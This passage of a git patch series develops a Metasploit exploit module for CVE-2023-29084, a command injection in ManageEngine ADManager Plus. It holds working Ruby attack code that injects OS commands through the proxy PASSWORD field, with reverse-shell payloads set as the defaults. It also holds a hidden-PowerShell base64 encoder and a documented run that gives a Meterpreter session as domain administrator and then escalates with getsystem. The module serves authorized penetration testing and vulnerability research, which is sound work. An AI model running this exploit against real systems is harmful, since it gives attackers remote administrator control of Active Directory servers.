'ADAuthenticator' + }, + 'keep_cookies' => true + ) + + unless res && (res.code == 302 || res.code == 303) + fail_with(Failure::NoAccess, 'Could not log in successfully!') + end + + print_good('Logged in successfully!') + end + + def check + res = send_request_cgi( + 'uri' => target_uri.path, + 'method' => 'GET' + ) + + unless res && res.code == 200 && res.body + return CheckCode::Unknown('Browsing to root of website returned a non-200 or empty response!') + end + + unless res.body&.match(/\.val\('ADManager Plus Authentication'\)/) + return CheckCode::Safe('Target is not running ADManager Plus!') + end + + build_number = res.body&.match(/src=".+\.js\?v=(\d{4})"/) + unless build_number + return CheckCode::Unknown('Home page did not leak the build number via the ?v= parameter as expected!') + end + + build_number = build_number[1] + print_good("The target is running AdManager Plus build #{build_number}!") + + # Versions 7181 and later are patched, everything prior is vulnerable. + target_build = Rex::Version.new(build_number) + if target_build >= Rex::Version.new('7181') + CheckCode::Safe('Target is running a patched version of AdManager Plus!') + elsif target_build < Rex::Version.new('7181') + CheckCode::Appears('Target appears to be running a vulnerable version of AdManager Plus!') + else + CheckCode::Unknown("An unknown error occurred when trying to parse the build number: #{build_number}. Please report this error!") + end + end + + def exploit + res = send_request_cgi( + 'uri' => target_uri.path, + 'method' => 'GET', + 'keep_cookies' => true + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code!') + end + + login('admin', 'admin') + + # We need to do this post login otherwise we will get errors. This also ensures we get updated + # cookies post login as these can sometimes change post login process. + res = send_request_cgi( + 'uri' => target_uri.path, + 'method' => 'GET', + 'keep_cookies' => true + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code post authentication!') + end + + # Check that we actually got our cookies updated post authentication and visiting the homepage. + unless res&.get_cookies&.match(/adscsrf=.*?;.*?;.*?_zcsr_tmp=.*?;/) + fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected updated cookies after logging in and visiting the home page.') + end + + @csrf_cookie = nil + for cookie in @cookie_jar&.cookies + if cookie.name == 'adscsrf' + @csrf_cookie = cookie.value + break + end + end + + fail_with(Failure::NoAccess, 'Could not obtain adscrf cookie!') if @csrf_cookie.blank? + + if target['Type'] == :win_dropper + execute_cmdstager + else + execute_command(payload.encoded) + end + end + + def execute_command(cmd, _opts = {}) + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'saveServerSettings'), + 'method' => 'POST', + 'vars_post' => { + 'adscsrf' => @csrf_cookie, + 'params' => create_params_value(cmd) + }, + 'keep_cookies' => true + } + ) + + if res && res.code == 200 + if res.body&.match(/{"isAuthorized":false}/) + fail_with(Failure::NoAccess, 'Somehow we became unauthenticated during exploitation!') + elsif res.body&.match(/Successfully updated the following settings.*-.*Proxy Settings/) + print_warning("Settings successfully changed but the fact that the server responded likely means the payload didn't execute!") + else + fail_with(Failure::PayloadFailed, 'Was not able to successfully update the settings to execute the payload!') + end + elsif res.nil? + print_good('Request timed out. Its likely the payload executed successfully!') + else + fail_with(Failure::UnexpectedReply, "Target responded with a non-200 OK code to our saveServerSettings request! Code was #{res.code}") + end + end + + def create_params_value(cmd) + "[{\"tabId\":\"proxy\",\"ENABLE_PROXY\":true,\"SERVER_NAME\":\"localhost\",\"USER_NAME\":\"#{Rex::Text.rand_text_alphanumeric(4..20)}\",\"PASSWORD\":\"#{Rex::Text.rand_text_alphanumeric(4..20)}\\r\\n#{cmd}\",\"PORT\":\"8080\"}]" + end +end From c78a9bac1d97e3d45dd84db40e89e0055d3314ce Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Tue, 23 May 2023 10:07:00 -0500 Subject: [PATCH 273/415] Remove dropper target and try expand potential BadChars and limit payload size??? --- ...nager_plus_cve_2023_29084_auth_cmd_injection.rb | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb index adec2befea77f..6f519dac26fce 100644 --- a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb +++ b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb @@ -42,18 +42,10 @@ def initialize(info = {}) 'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD], 'Privileged' => true, 'Payload' => { - 'BadChars' => "\x00\x0a\x0d\x22" # Avoid double quotes, aka 0x22, and a few other common bad chars. + 'BadChars' => "\x22\x0A\x0B\x0C\x0D\x00[{}]:,", # Avoid double quotes, aka 0x22, and new line and line return characters + 'Size' => 1600 }, 'Targets' => [ - [ - 'Windows Dropper', - { - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'Type' => :win_dropper, - 'CmdStagerFlavor' => :psh_invokewebrequest, - 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp' } - } - ], [ 'Windows Command', { @@ -198,6 +190,8 @@ def execute_command(cmd, _opts = {}) fail_with(Failure::NoAccess, 'Somehow we became unauthenticated during exploitation!') elsif res.body&.match(/Successfully updated the following settings.*-.*Proxy Settings/) print_warning("Settings successfully changed but the fact that the server responded likely means the payload didn't execute!") + elsif res.body&.match(/"status":"error"/) + print_error("The payload somehow triggered an error on the target's side!") else fail_with(Failure::PayloadFailed, 'Was not able to successfully update the settings to execute the payload!') end From 05bb3cd1825237635f19252452014ef1c3af39cb Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Tue, 23 May 2023 12:03:04 -0500 Subject: [PATCH 274/415] Update again --- ...geengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb index 6f519dac26fce..f979e575d4855 100644 --- a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb +++ b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb @@ -51,7 +51,7 @@ def initialize(info = {}) { 'Arch' => ARCH_CMD, 'Type' => :win_cmd, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } # cmd/windows/powershell_bind_tcp also works. } ], ], From 8577f21e525afa075613529b8a9ad033c7f59f6d Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Tue, 23 May 2023 13:41:15 -0500 Subject: [PATCH 275/415] Add in documentation and updated code --- ..._plus_cve_2023_29084_auth_cmd_injection.md | 110 ++++++++++++++++++ ..._plus_cve_2023_29084_auth_cmd_injection.rb | 33 ++++-- 2 files changed, 133 insertions(+), 10 deletions(-) create mode 100644 documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md diff --git a/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md b/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md new file mode 100644 index 0000000000000..16b13e2296271 --- /dev/null +++ b/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md @@ -0,0 +1,110 @@ +## Vulnerable Application +ManageEngine ADManager Plus prior to build 7181 is vulnerable to an authenticated command injection due to insufficient +validation of user input when performing the `ChangePasswordAction` function before passing it into a string that is later +used as an OS command to execute. + +By making a POST request to `/api/json/admin/saveServerSettings` with a `params` POST +parameter containing a JSON array object that has a `USERNAME` or `PASSWORD` element containing a +carriage return and newline, followed by the command the attacker wishes to execute, an attacker can gain RCE as the user +running ADManager Plus, which will typically be the local administrator. + +Note that the attacker must be authenticated in order to send requests to `/api/json/admin/saveServerSettings`, +so this vulnerability does require authentication to exploit. + +## Verification Steps + +1. Set up a Windows Server target as a domain controller server. +2. Download https://web.archive.org/web/20220926012908if_/https://download.manageengine.com/products/ad-manager/13024552/ManageEngine_ADManager_Plus_64.exe onto the target and run through the setup window, accepting defaults. +3. Start `msfconsole` +4. `set RHOST *target IP*` +5. `set LHOST *local IP address*` +6. `set SRVHOST *local IP address*` <- This step is optional depending on payload. +7. `exploit` +8. You should get a shell back as the local administrator user on the target machine. + +## Options + +### USERNAME +Username to log into ADManager Plus as. + +### PASSWORD +Password to log into ADManager Plus with. + +### DOMAIN +Domain to log into ADManager Plus with or `ADManager Plus Authentication`. + +## Scenarios + +### ManageEngine ADManager Plus Build 7151 on Windows Server 2022 +``` +msf6 exploit(windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection) > show options + +Module options (exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD admin yes The password to log in with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.64.137 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8080 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + URIPATH no The URI to use for this exploit (default is random) + USERNAME admin yes The user to log into ADManager Plus as + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 192.168.64.128 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + + +Payload options (cmd/windows/powershell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.64.128 yes The listen address (an interface may be specified) + LOAD_MODULES no A list of powershell modules separated by a comma to download over the web + LPORT 8899 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection) > exploit + +[*] Started reverse TCP handler on 192.168.64.128:8899 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is running AdManager Plus build 7151! +[+] The target appears to be vulnerable. Target appears to be running a vulnerable version of AdManager Plus! +[+] Logged in successfully! +[*] Powershell session session 2 opened (192.168.64.128:8899 -> 192.168.64.137:52930) at 2023-05-23 13:34:34 -0500 +[*] Stopping exploit/multi/handler +[+] Request timed out. Its likely the payload executed successfully! + +PS C:\Program Files\ManageEngine\ADManager Plus\bin> whoami +daforest\administrator +PS C:\Program Files\ManageEngine\ADManager Plus\bin> background + +Background session 2? [y/N] y +msf6 exploit(windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 2 powershell windows Administrator @ WIN-E72FSF87GO1 192.168.64.128:8899 -> 192.168.64.137:52930 (192.168.64.137) + +msf6 exploit(windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection) > +``` diff --git a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb index f979e575d4855..4d44d3ef7919a 100644 --- a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb +++ b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb @@ -17,13 +17,17 @@ def initialize(info = {}) info, 'Name' => 'ManageEngine ADManager Plus ChangePasswordAction Authenticated Command Injection', 'Description' => %q{ - This module exploits CVE-2023-29084, an authenticated command injection vulnerability in the - ChangePasswordAction functionality whereby user input is not appropriately validated before being inserted - into an string that is later used as a command to execute on the target system. + ManageEngine ADManager Plus prior to build 7181 is vulnerable to an authenticated command injection due to insufficient + validation of user input when performing the ChangePasswordAction function before passing it into a string that is later + used as an OS command to execute. - By injecting into the USERNAME or PASSWORD fields of the request, an attacker can use this vulnerability - to execute code in the context of the user running ManageEngine ADManager Plus, which will typically be - the local administrator. + By making a POST request to /api/json/admin/saveServerSettings with a params POST + parameter containing a JSON array object that has a USERNAME or PASSWORD element containing a + carriage return and newline, followed by the command the attacker wishes to execute, an attacker can gain RCE as the user + running ADManager Plus, which will typically be the local administrator. + + Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings, + so this vulnerability does require authentication to exploit. }, 'Author' => [ 'Simon Humbert', # Disclosure of bug via ZDI @@ -33,8 +37,9 @@ def initialize(info = {}) 'References' => [ ['CVE', '2023-29084'], ['URL', 'https://hnd3884.github.io/posts/CVE-2023-29084-Command-injection-in-ManageEngine-ADManager-plus/'], # Writeup - ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-438/'], + ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-438/'], # ZDI Advisory ['URL', 'https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2023-29084.html'], # Advisory + ['URL', 'https://www.manageengine.com/products/ad-manager/release-notes.html'] # Release Notes and Reporter Acknowledgement ], 'DisclosureDate' => '2023-04-12', 'License' => MSF_LICENSE, @@ -66,9 +71,17 @@ def initialize(info = {}) } ) ) + + register_options( + [ + OptString.new('USERNAME', [true, 'The user to log into ADManager Plus as', 'admin']), + OptString.new('PASSWORD', [true, 'The password to log in with', 'admin']), + OptString.new('DOMAIN', [true, 'The domain to log into', 'ADManager Plus Authentication']) + ] + ) end - def login(username, password) + def login(username, password, domain) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'j_security_check'), 'method' => 'POST', @@ -79,7 +92,7 @@ def login(username, password) 'is_admp_pass_encrypted' => 'false', # Optional but better to keep it in here to match normal request. 'j_username' => username, 'j_password' => password, - 'domainName' => 'ADManager Plus Authentication', + 'domainName' => domain, 'AUTHRULE_NAME' => 'ADAuthenticator' }, 'keep_cookies' => true @@ -136,7 +149,7 @@ def exploit fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code!') end - login('admin', 'admin') + login(datastore['USERNAME'], datastore['PASSWORD'], datastore['DOMAIN']) # We need to do this post login otherwise we will get errors. This also ensures we get updated # cookies post login as these can sometimes change post login process. From 3ab4173d6c46dc752e9dad1022faada3ff860b7a Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 24 May 2023 17:53:54 -0500 Subject: [PATCH 276/415] Fix up base64 encoder to properly quote strings - credit to @smcintyre-r7 for the fix --- modules/encoders/cmd/powershell_base64.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/encoders/cmd/powershell_base64.rb b/modules/encoders/cmd/powershell_base64.rb index 9f15744be189b..6a1a8552b9011 100644 --- a/modules/encoders/cmd/powershell_base64.rb +++ b/modules/encoders/cmd/powershell_base64.rb @@ -45,7 +45,7 @@ def encode_block(state, buf) end def encode_buf(buf) - base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c start #{buf}")) + base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c 'start #{buf.gsub("'", "''")} '")) cmd = "powershell -w hidden -nop -e #{base64}" end end From 6e89f9b27503d347b5fc979fccce650fb9d3052a Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 24 May 2023 18:20:05 -0500 Subject: [PATCH 277/415] Address review comments --- ..._plus_cve_2023_29084_auth_cmd_injection.rb | 26 +++++++++++-------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb index 4d44d3ef7919a..7a9560d7dfbbb 100644 --- a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb +++ b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb @@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStager + require 'json' def initialize(info = {}) super( @@ -44,11 +44,10 @@ def initialize(info = {}) 'DisclosureDate' => '2023-04-12', 'License' => MSF_LICENSE, 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD], + 'Arch' => [ARCH_CMD], 'Privileged' => true, 'Payload' => { - 'BadChars' => "\x22\x0A\x0B\x0C\x0D\x00[{}]:,", # Avoid double quotes, aka 0x22, and new line and line return characters - 'Size' => 1600 + 'BadChars' => "\x22\x0A\x0D\x00[{}]:," # Avoid double quotes, aka 0x22, and some other characters that might cause issues. }, 'Targets' => [ [ @@ -178,14 +177,10 @@ def exploit fail_with(Failure::NoAccess, 'Could not obtain adscrf cookie!') if @csrf_cookie.blank? - if target['Type'] == :win_dropper - execute_cmdstager - else - execute_command(payload.encoded) - end + execute_command(payload.encoded) end - def execute_command(cmd, _opts = {}) + def execute_command(cmd) res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'saveServerSettings'), @@ -216,6 +211,15 @@ def execute_command(cmd, _opts = {}) end def create_params_value(cmd) - "[{\"tabId\":\"proxy\",\"ENABLE_PROXY\":true,\"SERVER_NAME\":\"localhost\",\"USER_NAME\":\"#{Rex::Text.rand_text_alphanumeric(4..20)}\",\"PASSWORD\":\"#{Rex::Text.rand_text_alphanumeric(4..20)}\\r\\n#{cmd}\",\"PORT\":\"8080\"}]" + [ + { + tabId: 'proxy', + ENABLE_PROXY: true, + SERVER_NAME: 'localhost', + USER_NAME: Rex::Text.rand_text_alphanumeric(4..20).to_s, + PASSWORD: "#{Rex::Text.rand_text_alphanumeric(4..20)}\r\n#{cmd}", + PORT: '8080' + } + ].to_json end end From 965311d09e4ac620ca0d43587b97c39fbb3afec0 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Thu, 25 May 2023 15:37:02 -0500 Subject: [PATCH 278/415] Fix documentation and fix bug in creating PARMS value --- ..._plus_cve_2023_29084_auth_cmd_injection.md | 99 +++++++++++-------- modules/encoders/cmd/powershell_base64.rb | 11 +++ ..._plus_cve_2023_29084_auth_cmd_injection.rb | 6 +- 3 files changed, 71 insertions(+), 45 deletions(-) diff --git a/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md b/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md index 16b13e2296271..e6bd9a6e293ac 100644 --- a/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md +++ b/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md @@ -41,34 +41,25 @@ msf6 exploit(windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_in Module options (exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection): - Name Current Setting Required Description - ---- --------------- -------- ----------- - PASSWORD admin yes The password to log in with - Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOSTS 192.168.64.137 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html - RPORT 8080 yes The target port (TCP) - SSL false no Negotiate SSL/TLS for outgoing connections - SSLCert no Path to a custom SSL certificate (default is randomly generated) - URIPATH no The URI to use for this exploit (default is random) - USERNAME admin yes The user to log into ADManager Plus as - VHOST no HTTP server virtual host - + Name Current Setting Required Description + ---- --------------- -------- ----------- + DOMAIN ADManager Plus Authentication yes The domain to log into + PASSWORD admin yes The password to log in with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.64.149 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 9090 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + USERNAME admin yes The user to log into ADManager Plus as + VHOST no HTTP server virtual host - When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: - Name Current Setting Required Description - ---- --------------- -------- ----------- - SRVHOST 192.168.64.128 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. - SRVPORT 8080 yes The local port to listen on. +Payload options (cmd/windows/powershell/meterpreter/reverse_tcp): - -Payload options (cmd/windows/powershell_reverse_tcp): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 192.168.64.128 yes The listen address (an interface may be specified) - LOAD_MODULES no A list of powershell modules separated by a comma to download over the web - LPORT 8899 yes The listen port + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 192.168.64.128 yes The listen address (an interface may be specified) + LPORT 8899 yes The listen port Exploit target: @@ -88,23 +79,47 @@ msf6 exploit(windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_in [+] The target is running AdManager Plus build 7151! [+] The target appears to be vulnerable. Target appears to be running a vulnerable version of AdManager Plus! [+] Logged in successfully! -[*] Powershell session session 2 opened (192.168.64.128:8899 -> 192.168.64.137:52930) at 2023-05-23 13:34:34 -0500 -[*] Stopping exploit/multi/handler +[*] Sending stage (175686 bytes) to 192.168.64.149 +[*] Meterpreter session 3 opened (192.168.64.128:8899 -> 192.168.64.149:57276) at 2023-05-25 15:32:08 -0500 [+] Request timed out. Its likely the payload executed successfully! -PS C:\Program Files\ManageEngine\ADManager Plus\bin> whoami -daforest\administrator -PS C:\Program Files\ManageEngine\ADManager Plus\bin> background - -Background session 2? [y/N] y -msf6 exploit(windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection) > sessions - -Active sessions -=============== - - Id Name Type Information Connection - -- ---- ---- ----------- ---------- - 2 powershell windows Administrator @ WIN-E72FSF87GO1 192.168.64.128:8899 -> 192.168.64.137:52930 (192.168.64.137) - -msf6 exploit(windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection) > +meterpreter > getuid +Server username: DAFOREST\Administrator +meterpreter > getprivs + +Enabled Process Privileges +========================== + +Name +---- +SeBackupPrivilege +SeChangeNotifyPrivilege +SeCreateGlobalPrivilege +SeCreatePagefilePrivilege +SeCreateSymbolicLinkPrivilege +SeDebugPrivilege +SeDelegateSessionUserImpersonatePrivilege +SeEnableDelegationPrivilege +SeImpersonatePrivilege +SeIncreaseBasePriorityPrivilege +SeIncreaseQuotaPrivilege +SeIncreaseWorkingSetPrivilege +SeLoadDriverPrivilege +SeMachineAccountPrivilege +SeManageVolumePrivilege +SeProfileSingleProcessPrivilege +SeRemoteShutdownPrivilege +SeRestorePrivilege +SeSecurityPrivilege +SeShutdownPrivilege +SeSystemEnvironmentPrivilege +SeSystemProfilePrivilege +SeSystemtimePrivilege +SeTakeOwnershipPrivilege +SeTimeZonePrivilege +SeUndockPrivilege + +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +meterpreter > ``` diff --git a/modules/encoders/cmd/powershell_base64.rb b/modules/encoders/cmd/powershell_base64.rb index 6a1a8552b9011..7aa8b734d168c 100644 --- a/modules/encoders/cmd/powershell_base64.rb +++ b/modules/encoders/cmd/powershell_base64.rb @@ -45,6 +45,17 @@ def encode_block(state, buf) end def encode_buf(buf) + # From https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_quoting_rules?view=powershell-7.3 + # To include a single quotation mark in a single-quoted string, use a second consecutive single quote. For example: + # 'don''t' would be the string "don't" but using single quotes. + # + # Note that we can't use double quotes here as double quote strings in PowerShell are classed as expandable strings + # and we don't want expansion here, as this might cause any potential elements starting with $ to be interpreted + # as a variable within the string to be replaced by that variable's value. + # + # The use of quotes also ensures that we get around the issue with cmd.exe understanding & as a symbol for + # "also execute this command", whereas in PowerShell it is a reserved character, so not quoting the string + # will result in the & being interpreted by PowerShell and the command failing on an interpretation error in PowerShell itself. base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c 'start #{buf.gsub("'", "''")} '")) cmd = "powershell -w hidden -nop -e #{base64}" end diff --git a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb index 7a9560d7dfbbb..356cddb44dde5 100644 --- a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb +++ b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb @@ -55,7 +55,7 @@ def initialize(info = {}) { 'Arch' => ARCH_CMD, 'Type' => :win_cmd, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } # cmd/windows/powershell_bind_tcp also works. + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } } ], ], @@ -66,7 +66,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [IOC_IN_LOGS] + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } ) ) @@ -218,7 +218,7 @@ def create_params_value(cmd) SERVER_NAME: 'localhost', USER_NAME: Rex::Text.rand_text_alphanumeric(4..20).to_s, PASSWORD: "#{Rex::Text.rand_text_alphanumeric(4..20)}\r\n#{cmd}", - PORT: '8080' + PORT: datastore['RPORT'] } ].to_json end From f7d2cdae561b53bcdde4d32f3e44dc0a7ee1a2ea Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Mon, 29 May 2023 15:38:04 -0500 Subject: [PATCH 279/415] Add in ability to restore settings n documentation changes. Previously there was not the ability to restore the server proxy setting. This updates the code to do so. Additionally this also updates the documentation to note that Fetch payloads are incompatible with this module since they use HTTP connections that will be impacted by this module changing the server's HTTP proxy settings. There is no way around this. --- ..._plus_cve_2023_29084_auth_cmd_injection.md | 3 + ..._plus_cve_2023_29084_auth_cmd_injection.rb | 78 +++++++++++++++++-- 2 files changed, 73 insertions(+), 8 deletions(-) diff --git a/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md b/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md index e6bd9a6e293ac..7ebd300d7316f 100644 --- a/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md +++ b/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md @@ -11,6 +11,9 @@ running ADManager Plus, which will typically be the local administrator. Note that the attacker must be authenticated in order to send requests to `/api/json/admin/saveServerSettings`, so this vulnerability does require authentication to exploit. +As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads +with this exploit, since these will use HTTP connections that will be affected by the change in configuration. + ## Verification Steps 1. Set up a Windows Server target as a domain controller server. diff --git a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb index 356cddb44dde5..61dd2423359b7 100644 --- a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb +++ b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb @@ -28,6 +28,9 @@ def initialize(info = {}) Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings, so this vulnerability does require authentication to exploit. + + As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads + with this exploit, since these will use HTTP connections that will be affected by the change in configuration. }, 'Author' => [ 'Simon Humbert', # Disclosure of bug via ZDI @@ -66,7 +69,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] # We are changing the proxy settings for every HTTP connection on the target server. } ) ) @@ -177,17 +180,57 @@ def exploit fail_with(Failure::NoAccess, 'Could not obtain adscrf cookie!') if @csrf_cookie.blank? - execute_command(payload.encoded) + retrieve_original_settings + + begin + modify_proxy(create_params_value_enable(payload.encoded)) + ensure + modify_proxy(create_params_value_restore) + end + end + + def retrieve_original_settings + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'getServerSettings'), + 'method' => 'POST', + 'vars_post' => { + 'adscsrf' => @csrf_cookie + }, + 'keep_cookies' => true + } + ) + + unless res && res.code == 200 && res&.body&.match(/ads_admin_notifications/) + fail_with(Failure::UnexpectedReply, 'Was unable to get the admin settings for restoration!') + end + + json_body = JSON.parse(res.body) + server_details = json_body['serverDetails'] + unless server_details + fail_with(Failure::UnexpectedReply, 'Was unable to retrieve the server settings!') + end + + server_details.each do |elm| + next unless elm['tabId'] == 'proxy' + + @original_port = elm['PORT'] + @original_password = elm['PASSWORD'] + @proxy_enabled = elm['ENABLE_PROXY'] + @original_server_name = elm['SERVER_NAME'] + @original_user_name = elm['USER_NAME'] + break + end end - def execute_command(cmd) + def modify_proxy(params) res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'saveServerSettings'), 'method' => 'POST', 'vars_post' => { 'adscsrf' => @csrf_cookie, - 'params' => create_params_value(cmd) + 'params' => params }, 'keep_cookies' => true } @@ -199,7 +242,7 